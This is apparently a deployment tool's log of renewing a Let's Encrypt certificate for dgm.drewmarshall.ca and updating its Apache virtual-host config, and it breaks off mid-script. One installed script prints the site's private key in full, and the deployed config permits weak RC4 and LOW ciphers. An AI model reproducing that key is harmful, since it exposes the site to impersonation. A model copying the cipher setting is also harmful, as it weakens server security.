Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-03 06:03:42: Establishing a connection
2025-11-03 06:03:43: Establishing a connection
2025-11-03 06:03:43: 

PUT: /tmp/pkp224585

#!/bin/bash
if [ -d "/var/www/drewmarshall_dgm/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-03 06:03:43: 

chmod 755 /tmp/pkp224585; /tmp/pkp224585; rm /tmp/pkp224585

2025-11-03 06:03:43: 


1


2025-11-03 06:03:44: Establishing a connection
2025-11-03 06:03:44: 

PUT: /tmp/pkp735673

#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cat > F_8QTzk3T5ONNcZCxaRNX6gRA1FQDlf2oj5NLASP8lg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
F_8QTzk3T5ONNcZCxaRNX6gRA1FQDlf2oj5NLASP8lg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 F_8QTzk3T5ONNcZCxaRNX6gRA1FQDlf2oj5NLASP8lg


2025-11-03 06:03:44: 

chmod 755 /tmp/pkp735673; /tmp/pkp735673; rm /tmp/pkp735673

2025-11-03 06:03:44: 




2025-11-03 06:03:49: Establishing a connection
2025-11-03 06:03:49: 

PUT: /tmp/pkp518376

#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
rm F_8QTzk3T5ONNcZCxaRNX6gRA1FQDlf2oj5NLASP8lg


2025-11-03 06:03:49: 

chmod 755 /tmp/pkp518376; /tmp/pkp518376; rm /tmp/pkp518376

2025-11-03 06:03:49: 




2025-11-03 06:03:49: Establishing a connection
2025-11-03 06:03:49: 

PUT: /tmp/pkp207752

#!/bin/bash
temp_file=$(mktemp)
TARGET=a6135b8cd991ffd075dad22986ca2d2f.crt

cat > $temp_file <<'endmsg'
31:01:4f:e1:72:28:f4:d7:ac:e3:56:ee:7e:83:11:1e

-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBqoZ5j5E4mMEya9KuXiQiTYTMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwNTE5WhcNMjYwMjAxMDUwNTE4WjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAsQt0gdZ/MzzXFkcUBwNZu320i66+AYe73lwizrxYloqMSC/2NutP+2ed
gf4OfUNVi7JSAkOEWJaBhFDB/1a4JxVJ05f099as2+BTXHnu56Qp7beeR0f0Qg6Q
NFXrasaln3baGrW17ueDNPNFVN9iqwHvuBstTQG0yqNnJy5xFwSGfshWKTTuCPOw
/ACSFWOss0ds5DI1Tem5mmE039f1psmzECNvKB3m6oDBtN7RcL9/J6q705QGoUbr
bxy46BKdPZF8/tghjDlwFPBwCynrLQKor9ia512nIk4Y+sLE0l4UlDIX/2bI1RGR
DydoF+KQkUItaJ42Fc9lpTlEK6asmQIDAQABo4ICIjCCAh4wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRWqsK/eSKArgvzMdQueIKlTbLBhjAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE2RnbS5kcmV3bWFyc2hh
bGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy8yMC5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHx
AO8AdgAZhtTHKKpv/roDb3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZpIUIoMAAAE
AwBHMEUCIA1lUG0Wt+WnfFJRZoYxGQiStRFcRfVlSyims4WCrt5gAiEA3ubbzHqp
odigDtazNnmfsa9eYMoJKssbZ69wthX6xfkAdQDLOPcViXyEoURfW8Hd+8lu8ppZ
zUcKaQWFsMsUwxRY5wAAAZpIUIowAAAEAwBGMEQCIEfMa+dOASaRFSgCe5GImRCt
SiFULMpHgHyoX/a+3LsgAiAufl96wZ/3rwE9i7vDbU3elDbvbQU6N5A7zgf5i470
rDANBgkqhkiG9w0BAQsFAAOCAQEAjzpUjZgoMDpr9H0KElPoodOJ/nyXVbFkf4ag
A32l7YU2TyHgcIsXFI4qPC0x2i3v7D4CfNwQKjVJ5Zf9cxMXGLgb/8cefMT8z51i
PCxAGKNB8ZV3Qht8UYWnkix3Rqgj56I53w5n2gVAIxUmM1FnVtgzNZEkeAJoxyQX
I7t81uCOLkbiYlk1fMn7tdvgDr5owdQjFUQUEZh66xADO8MZs0tZyknuh/h4JWCc
fFs4liPR35j5zDZi3m2tgNsdKwhAx06p16KYI9iNhljKbCfce01uL7UtEhhEHChU
OLMh2aDS5QywY3UZkr/yn2QW64WA9w0cwQE7LMRPLf7B5EkpVg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCxC3SB1n8zPNcW
RxQHA1m7fbSLrr4Bh7veXCLOvFiWioxIL/Y260/7Z52B/g59Q1WLslICQ4RYloGE
UMH/VrgnFUnTl/T31qzb4FNcee7npCntt55HR/RCDpA0VetqxqWfdtoatbXu54M0
80VU32KrAe+4Gy1NAbTKo2cnLnEXBIZ+yFYpNO4I87D8AJIVY6yzR2zkMjVN6bma
YTTf1/WmybMQI28oHebqgMG03tFwv38nqrvTlAahRutvHLjoEp09kXz+2CGMOXAU
8HALKestAqiv2JrnXaciThj6wsTSXhSUMhf/ZsjVEZEPJ2gX4pCRQi1onjYVz2Wl
OUQrpqyZAgMBAAECggEAa0kHxw5WcpQxutxDtKRBIi7g06yGk6LPI8YtiZ31CPTY
YX4+87TQ+QYnGnj8Cshc9JSQwbJsZsp9ndLaXIMOgRCTdlelKPK8OVnM6kMxlMmU
ZutYTNW7nLP6itxuFnxeLS32qSzoHOfKSLIKl43u2rYHsEc3wmyARDOU9NddzJX8
H01kLbm3ty5usVw2721xwiT/T8EWy0VRApUF4aQzd+mW4oWbCA7J4yk9EcEMPcPJ
PoWUnIq173OW8QXS1QjRXdtS9/TlMIYTWV5NiCdcqgU0IWgQtxUji2uT0fkjYRJI
xlIFwjwptwIp+TTnQEo8QLkgOdOk2jHNhekSIu0r6QKBgQDrZ10ROB3i7pzjkeYr
gF0Sgf2EVK7soONEXOeoZn8r9S0H+wXioN47/kPSaVpxWfe5zrd8/yqDPnT8otdB
ovEajJfGkK8IsObaeR9OhzcpdeZjz6t20AyPcB1LW3X3scB60F+g0aaFsrH9LDrI
DQ4VPcVG14snOwe+9EbfBVzmdwKBgQDAiPNgGS9zra7OI0SEfooU/kGvzevZTEtk
AQKg1uEJxGbnG5WKEW2g7oM/SNj/6HiyV6fYO6Tq1PHWolC1dNWPYsEPHsjFsWo0
JboPnj4X4/0sETQ7G+7gOvTfU3zhYTHZSy9T0FW1bcSBFK62xsM6f4F78TZW7EU1
u1WJIbP5bwKBgEqFh13rIPL1TO9yAaal1VEFm8cns9SvPiMnMiMKh5nX3PCY1A0h
lhjx7nCO75XQwG6u9UF52fCAdjKALprVxXP9LBMtPGwI7JwfGf0XKyxR6aSRWpub
U06ZVHzFsHvAZsm6a3uSwx+yKUyXkug/0cSBsJEzrRa3RkV6OXFi1j0TAoGBALqu
z5R5Nxpp6Jm1doUlkMuEMLq+5pUeteb0V9EOKMtopQInK9rgxTSKr7XX85hGl2kN
NxCh3GlaKlebsLgQ3dWWwmzfw3p0aO7BOeRU4g4WIO/uin9ZuUevwqkb8XUy4bu4
e94/nis5kJQ8Mp/En52D7k/39WFY3E6aIvjBNhl/AoGBAJUnNz/FBWjn7WUpNSCz
jBfkPg6uPsAEzDzpJGUm1dY3Y2hPqtXntewqHjk1jdW4B3ErfultL/lb7rv8/eEq
L85qjVtZYvD3ME2JGkomNFpeGYCPs9epN71yDFHrhZ+muD4W3NATdeuPQ0pljRh9
yr4HNg7iPNyOJonT9faehFV6
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-03 06:03:49: 

chmod 755 /tmp/pkp207752; /tmp/pkp207752; rm /tmp/pkp207752

2025-11-03 06:03:49: 


dir=/etc/ssl/certs


2025-11-03 06:03:49: 

PUT: /tmp/pkp867720

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-03 06:03:49: 

chmod 755 /tmp/pkp867720; /tmp/pkp867720; rm /tmp/pkp867720

2025-11-03 06:03:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf 43

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-03 06:03:49: 

PUT: /tmp/pkp223990

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_dgm_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf= 1'
fi


2025-11-03 06:03:50: 

chmod 755 /tmp/pkp223990; /tmp/pkp223990; rm /tmp/pkp223990

2025-11-03 06:03:50: 




2025-11-03 06:03:50: 

PUT: /tmp/pkp703251

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-03 06:03:50: 

chmod 755 /tmp/pkp703251; /tmp/pkp703251; rm /tmp/pkp703251

2025-11-03 06:03:50: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-03 06:03:50: Establishing a connection
2025-11-03 06:03:50: 

PUT: /tmp/pkp753955

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-03 06:03:50: 

chmod 755 /tmp/pkp753955; /tmp/pkp753955; rm /tmp/pkp753955

2025-11-03 06:03:50: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-03 06:03:50: 

PUT: /tmp/pkp909850

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:03:50: 

chmod 755 /tmp/pkp909850; /tmp/pkp909850; rm /tmp/pkp909850

2025-11-03 06:03:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf	1339

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-03 06:03:50: 

PUT: /tmp/pkp836664

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
